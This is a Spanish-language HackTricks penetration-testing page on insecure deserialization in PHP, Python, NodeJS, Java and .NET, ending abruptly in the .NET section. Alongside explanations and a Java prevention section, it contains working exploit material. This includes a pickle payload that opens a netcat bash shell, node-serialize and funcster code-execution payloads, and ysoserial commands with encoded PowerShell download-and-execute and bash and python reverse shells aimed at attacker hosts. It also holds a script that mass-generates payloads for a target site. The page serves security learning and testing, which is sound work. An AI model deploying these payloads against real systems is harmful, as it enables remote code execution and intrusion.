51 KiB
Deserialización
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Serialización es el proceso de convertir un objeto en un formato de datos que se puede restaurar más tarde. A menudo, las personas serializan objetos para guardarlos en almacenamiento o enviarlos como parte de las comunicaciones.
Deserialización es el proceso inverso, tomando datos estructurados de algún formato y reconstruyéndolos en un objeto. Hoy en día, el formato de datos más popular para la serialización de datos es JSON. Antes de eso, era XML.
En muchas ocasiones, puedes encontrar código en el lado del servidor que deserializa algún objeto proporcionado por el usuario.
En este caso, puedes enviar una carga útil maliciosa para hacer que el lado del servidor se comporte de manera inesperada.
Debes leer: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html para aprender cómo atacar.
PHP
Método mágico utilizado con la serialización:
__sleep
se llama cuando un objeto se serializa y debe devolverse como un array.
Método mágico utilizado con la deserialización:
__wakeup
se llama cuando un objeto se deserializa.__unserialize
se llama en lugar de__wakeup
si existe.__destruct
se llama cuando el script de PHP finaliza y el objeto se destruye.__toString
utiliza el objeto como una cadena, pero también se puede usar para leer archivos o algo más basado en la llamada de función dentro de él.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Si observas los resultados, puedes ver que las funciones __wakeup
y __destruct
se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función __toString
se llama al intentar imprimir algún atributo, pero aparentemente eso ya no sucede.
{% hint style="warning" %}
El método __unserialize(array $data)
se llama en lugar de __wakeup()
si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria al deserializar.
phpCopy codeclass MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
{% endhint %}
Puedes leer un ejemplo de PHP explicado aquí: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aquí https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o aquí https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Puedes abusar de la funcionalidad de carga automática de PHP para cargar archivos php arbitrarios y más:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}
Serializando Valores Referenciados
Si por alguna razón quieres serializar un valor como una referencia a otro valor serializado, puedes hacerlo:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial para PHP)
PHPGGC puede ayudarte a generar payloads para abusar de las deserializaciones en PHP.
Ten en cuenta que en varios casos no podrás encontrar una forma de abusar de una deserialización en el código fuente de la aplicación, pero podrías ser capaz de abusar del código de extensiones externas de PHP.
Entonces, si puedes, verifica la phpinfo()
del servidor y busca en internet (incluso en los gadgets de PHPGGC) algún posible gadget que puedas abusar.
Deserialización de metadatos phar://
Si has encontrado una LFI que solo lee el archivo y no ejecuta el código PHP dentro de él, por ejemplo, utilizando funciones como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize(). Puedes intentar abusar de una deserialización que ocurre al leer un archivo utilizando el protocolo phar.
Para obtener más información, lee el siguiente artículo:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Python
Pickle
Cuando el objeto se deserializa, se ejecutará la función __reduce__.
Cuando se explota, el servidor podría devolver un error.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Para obtener más información sobre cómo escapar de las cárceles de pickle, consulta:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Yaml & jsonpickle
La siguiente página presenta la técnica para abusar de una deserialización insegura en las bibliotecas de Python de yamls y finaliza con una herramienta que se puede utilizar para generar una carga útil de deserialización RCE para Pickle, PyYAML, jsonpickle y ruamel.yaml:
{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}
Contaminación de Clases (Python Prototype Pollution)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}
NodeJS
Funciones Mágicas de JS
JS no tiene funciones "mágicas" como PHP o Python que se ejecutarán solo para crear un objeto. Pero tiene algunas funciones que se utilizan con frecuencia incluso sin llamarlas directamente, como toString
, valueOf
, toJSON
.
Si abusas de una deserialización, puedes comprometer estas funciones para ejecutar otro código (potencialmente abusando de contaminaciones de prototipos) y así ejecutar código arbitrario cuando se llamen.
Otra forma "mágica" de llamar a una función sin llamarla directamente es comprometer un objeto que es devuelto por una función asíncrona (promesa). Porque, si transformas ese objeto devuelto en otra promesa con una propiedad llamada "then" de tipo función, se ejecutará solo porque es devuelto por otra promesa. Sigue este enlace para obtener más información.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
y prototype
pollution
Si quieres aprender sobre esta técnica, echa un vistazo al siguiente tutorial:
{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}
node-serialize
Esta biblioteca permite serializar funciones. Ejemplo:
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
El objeto serializado se verá así:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Puedes ver en el ejemplo que cuando una función es serializada, se agrega la bandera _$$ND_FUNC$$_
al objeto serializado.
Dentro del archivo node-serialize/lib/serialize.js
, puedes encontrar la misma bandera y cómo se utiliza en el código.
Como puedes ver en el último fragmento de código, si se encuentra la bandera, se utiliza eval
para deserializar la función, por lo que básicamente se está utilizando la entrada del usuario dentro de la función eval
.
Sin embargo, simplemente serializar una función no la ejecutará, ya que sería necesario que alguna parte del código esté llamando a y.rce
en nuestro ejemplo, lo cual es muy poco probable.
De todos modos, podrías modificar el objeto serializado agregando algunos paréntesis para que la función serializada se ejecute automáticamente cuando se deserialice el objeto.
En el siguiente fragmento de código, observa el último paréntesis y cómo la función unserialize
ejecutará automáticamente el código:
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
Como se indicó anteriormente, esta biblioteca obtendrá el código después de _$$ND_FUNC$$_
y lo ejecutará utilizando eval
. Por lo tanto, para auto-ejecutar código, puedes eliminar la parte de creación de la función y el último paréntesis y simplemente ejecutar un comando de JavaScript en una sola línea como en el siguiente ejemplo:
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
Puedes encontrar aquí más información sobre cómo explotar esta vulnerabilidad.
funcster
La diferencia interesante aquí es que los objetos integrados estándar no son accesibles, porque están fuera de alcance. Esto significa que podemos ejecutar nuestro código, pero no podemos llamar a los métodos de los objetos integrados. Entonces, si usamos console.log()
o require(something)
, Node devuelve una excepción como "ReferenceError: console is not defined"
.
Sin embargo, podemos recuperar fácilmente el acceso a todo porque aún tenemos acceso al contexto global usando algo como this.constructor.constructor("console.log(1111)")();
:
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
Para obtener más información, lee esta página.
serialize-javascript
El paquete no incluye ninguna funcionalidad de deserialización y requiere que la implementes tú mismo. Su ejemplo utiliza eval
directamente. Este es el ejemplo oficial de deserialización:
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
Si esta función se utiliza para deserializar objetos, puedes explotarla fácilmente:
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Biblioteca Cryo
En las siguientes páginas puedes encontrar información sobre cómo abusar de esta biblioteca para ejecutar comandos arbitrarios:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
El principal problema con los objetos deserializados en Java es que se invocaron devoluciones de llamada de deserialización durante la deserialización. Esto permite que un atacante se aproveche de esas devoluciones de llamada y prepare un payload que abuse de las devoluciones de llamada para realizar acciones maliciosas.
Huellas
Caja Blanca
Busca en el código las clases y funciones de serialización. Por ejemplo, busca clases que implementen Serializable
, el uso de java.io.ObjectInputStream
__ o las funciones readObject
__ o readUnshare
_.
También debes prestar atención a:
XMLdecoder
con parámetros definidos por el usuario externoXStream
con el métodofromXML
(la versión xstream <= v1.46 es vulnerable al problema de serialización)ObjectInputStream
conreadObject
- Uso de
readObject
,readObjectNodData
,readResolve
oreadExternal
ObjectInputStream.readUnshared
Serializable
Caja Negra
Huellas/Bytes Mágicos de objetos serializados de Java (de ObjectInputStream
):
AC ED 00 05
en HexadecimalrO0
en Base64- Encabezado
Content-type
de una respuesta HTTP establecido enapplication/x-java-serialized-object
1F 8B 08 00
Hexadecimal previamente comprimidoH4sIA
Base64 previamente comprimido- Archivos web con extensión
.faces
y parámetrofaces.ViewState
. Si encuentras esto en una aplicación web, echa un vistazo al post sobre la deserialización de Java JSF VewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Verificar si es vulnerable
Si quieres aprender cómo funciona una explotación de deserialización en Java, deberías echar un vistazo a Deserialización básica en Java, Deserialización de DNS en Java y Carga útil de CommonsCollection1.
Prueba de caja blanca
Puedes verificar si está instalada alguna aplicación con vulnerabilidades conocidas.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Puedes intentar verificar todas las bibliotecas conocidas por ser vulnerables y para las cuales Ysoserial puede proporcionar un exploit. O puedes verificar las bibliotecas indicadas en Java-Deserialization-Cheat-Sheet.
También puedes usar gadgetinspector para buscar posibles cadenas de gadgets que se puedan explotar.
Cuando ejecutes gadgetinspector (después de compilarlo), no te preocupes por las toneladas de advertencias/errores que aparecen y déjalo terminar. Escribirá todos los hallazgos en gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt. Ten en cuenta que gadgetinspector no creará un exploit y puede indicar falsos positivos.
Prueba de Caja Negra
Usando la extensión de Burp gadgetprobe, puedes identificar qué bibliotecas están disponibles (e incluso las versiones). Con esta información, podría ser más fácil elegir un payload para explotar la vulnerabilidad.
Lee esto para obtener más información sobre GadgetProbe.
GadgetProbe se centra en las deserializaciones de ** ObjectInputStream
**.**
Usando la extensión de Burp Java Deserialization Scanner, puedes identificar bibliotecas vulnerables explotables con ysoserial y explotarlas.
Lee esto para obtener más información sobre Java Deserialization Scanner.
Java Deserialization Scanner se centra en las deserializaciones de ObjectInputStream
.
También puedes usar Freddy para detectar vulnerabilidades de deserialización en Burp. Este complemento detectará vulnerabilidades relacionadas no solo con ObjectInputStream
, sino también con bibliotecas de deserialización de Json y Yml. En modo activo, intentará confirmarlas utilizando payloads de sleep o DNS.
Puedes encontrar más información sobre Freddy aquí.
Prueba de Serialización
No todo se trata de verificar si el servidor utiliza alguna biblioteca vulnerable. A veces puedes ser capaz de cambiar los datos dentro del objeto serializado y evadir algunas comprobaciones (quizás otorgarte privilegios de administrador dentro de una aplicación web).
Si encuentras un objeto serializado de Java que se envía a una aplicación web, puedes usar SerializationDumper para imprimir en un formato más legible para los humanos el objeto de serialización que se envía. Saber qué datos estás enviando facilitaría modificarlos y evadir algunas comprobaciones.
Exploit
ysoserial
La herramienta más conocida para explotar deserializaciones de Java es ysoserial (descargar aquí). También puedes considerar usar ysoseral-modified, que te permitirá usar comandos complejos (con tuberías, por ejemplo).
Ten en cuenta que esta herramienta está centrada en explotar ObjectInputStream
.
Yo comenzaría usando el payload "URLDNS" antes que un payload de RCE para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione, pero otro payload de RCE sí lo haga.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Codificar la carga útil en base64
base64 -w0 payload
Al crear un payload para java.lang.Runtime.exec(), no puedes usar caracteres especiales como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso pasar argumentos a un comando separados por espacios (puedes hacer echo -n "hello world"
pero no puedes hacer python2 -c 'print "Hello world"'
). Para codificar correctamente el payload, puedes utilizar esta página web.
Siéntete libre de utilizar el siguiente script para crear todos los posibles payloads de ejecución de código para Windows y Linux, y luego probarlos en la página web vulnerable:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Puedes utilizar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto con ysoserial para crear más exploits. Más información sobre esta herramienta en las diapositivas de la charla donde se presentó la herramienta: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec se puede utilizar para generar payloads y explotar diferentes bibliotecas de serialización Json y Yml en Java.
Para compilar el proyecto, necesité agregar estas dependencias al archivo pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Instala Maven y compila el proyecto:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Lee más sobre esta biblioteca de JSON en Java: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratorios
- Si quieres probar algunos payloads de ysoserial, puedes ejecutar esta aplicación web: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Por qué
Java AMA enviar objetos serializados por todas partes. Por ejemplo:
- En solicitudes HTTP - Parámetros, ViewState, Cookies, lo que sea.
- RMI - El protocolo Java RMI ampliamente utilizado se basa al 100% en la serialización.
- RMI sobre HTTP - Muchas aplicaciones web de cliente grueso en Java utilizan esto, nuevamente objetos serializados al 100%.
- JMX - Nuevamente, se basa en el envío de objetos serializados a través de la red.
- Protocolos personalizados - Enviar y recibir objetos Java sin procesar es la norma, como veremos en algunos de los exploits que vendrán.
Prevención
Objetos transitorios
Una clase que implementa Serializable
puede marcar como transient
cualquier objeto dentro de la clase que no deba ser serializable. Por ejemplo:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Evitar la serialización de una clase que necesita implementar Serializable
Algunos de los objetos de tu aplicación pueden verse obligados a implementar Serializable
debido a su jerarquía. Para garantizar que tus objetos de aplicación no puedan ser deserializados, se debe declarar un método readObject()
(con un modificador final
) que siempre lance una excepción:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Verificar la clase deserializada antes de deserializarla
La clase java.io.ObjectInputStream
se utiliza para deserializar objetos. Es posible fortalecer su comportamiento mediante la creación de una subclase. Esta es la mejor solución si:
- Puedes cambiar el código que realiza la deserialización
- Sabes qué clases esperas deserializar
La idea general es sobrescribir ObjectInputStream.html#resolveClass()
para restringir qué clases se permiten deserializar.
Dado que esta llamada ocurre antes de que se llame a readObject()
, puedes estar seguro de que no ocurrirá ninguna actividad de deserialización a menos que sea del tipo que deseas permitir.
Un ejemplo simple se muestra aquí, donde la clase LookAheadObjectInputStream
está garantizada para no deserializar ningún otro tipo aparte de la clase Bicycle
:
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Fortalecer el uso de java.io.ObjectInputStream con un Agente
Si no eres el propietario del código o no puedes esperar a un parche, utilizar un agente para incorporar fortalecimiento a java.io.ObjectInputStream
es la mejor solución.
Utilizando este enfoque, solo puedes incluir en la lista negra los tipos maliciosos conocidos y no incluirlos en la lista blanca, ya que no sabes qué objetos se están serializando.
Para habilitar estos agentes, simplemente agrega un nuevo parámetro JVM:
-javaagent:name-of-agent.jar
Referencias
- Charla sobre deserialización y ysoserial: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Charla sobre gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 y diapositivas: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Documento de Marshalsec: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Documento sobre deserialización en Java y .Net: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, charla: https://www.youtube.com/watch?v=oUAeWhW5b8c y diapositivas: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- CVEs de deserialización: https://paper.seebug.org/123/
Inyección de JNDI y log4Shell
Encuentra qué es la inyección de JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell (y un ejemplo de esta vulnerabilidad) en la siguiente página:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}
JMS - Java Message Service
La API de Java Message Service (JMS) es una API de middleware orientada a mensajes en Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de Java Platform, Enterprise Edition (Java EE) y fue definido por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Java Community Process. Es un estándar de mensajería que permite a los componentes de aplicaciones basadas en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De Wikipedia).
Productos
Hay varios productos que utilizan este middleware para enviar mensajes:
Explotación
Entonces, básicamente hay varios servicios que utilizan JMS de manera peligrosa. Por lo tanto, si tienes suficientes privilegios para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías ser capaz de enviar objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor.
Esto significa que en esta explotación, todos los clientes que vayan a utilizar ese mensaje se infectarán.
Debes recordar que incluso si un servicio es vulnerable (porque deserializa de manera insegura la entrada del usuario), aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad.
La herramienta JMET fue creada para conectar y atacar estos servicios enviando varios objetos maliciosos serializados utilizando gadgets conocidos. Estos exploits funcionarán si el servicio aún es vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable.
Referencias
- Charla sobre JMET: https://www.youtube.com/watch?v=0h8DWiOWGGA
- Diapositivas: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
.Net es similar a Java en cuanto a cómo funcionan los exploits de deserialización: El exploit abusará de gadgets que ejecutan algún código interesante cuando se deserializa un objeto.
Huella digital
WhiteBox
Busque en el código fuente los siguientes términos:
TypeNameHandling
JavaScriptTypeResolver
Busque cualquier serializador donde el tipo sea establecido por una variable controlada por el usuario.
BlackBox
Puede buscar la cadena codificada en Base64 AAEAAAD///// u cualquier otra cosa que pueda ser deserializada en el backend y que le permita controlar el tipo deserializado. Por ejemplo, un JSON o XML que contenga TypeObject
o $type
.
ysoserial.net
En este caso, puede utilizar la herramienta ysoserial.net para crear exploits de deserialización. Una vez descargado el repositorio de git, debe compilar la herramienta utilizando Visual Studio, por ejemplo.
Si desea aprender sobre cómo ysoserial.net crea su exploit, puede consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.
Las opciones principales de ysoserial.net son: --gadget
, --formatter
, **--output
** y --plugin
.
--gadget
se utiliza para indicar el gadget a abusar (indique la clase/función que se abusará durante la deserialización para ejecutar comandos).--formatter
, se utiliza para indicar el método para serializar el exploit (debe saber qué biblioteca está utilizando el backend para deserializar la carga útil y utilizar la misma para serializarla).- **
--output
** se utiliza para indicar si desea el exploit en formato raw o codificado en Base64. Tenga en cuenta que ysoserial.net codificará la carga útil utilizando UTF-16LE (codificación utilizada de forma predeterminada en Windows), por lo que si obtiene el formato raw y simplemente lo codifica desde una consola de Linux, es posible que tenga algunos problemas de compatibilidad de codificación que evitarán que el exploit funcione correctamente (en el HTB JSON box, la carga útil funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará). - **
--plugin
** ysoserial.net admite complementos para crear exploits para frameworks específicos como ViewState.
Más parámetros de ysoserial.net
--minify
proporcionará una carga útil más pequeña (si es posible).--raf -f Json.Net -c "anything"
Esto indicará todos los gadgets que se pueden utilizar con un formateador proporcionado (Json.Net
en este caso).--sf xml
puede indicar un gadget (-g
) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas).
Ejemplos de ysoserial.net para crear exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
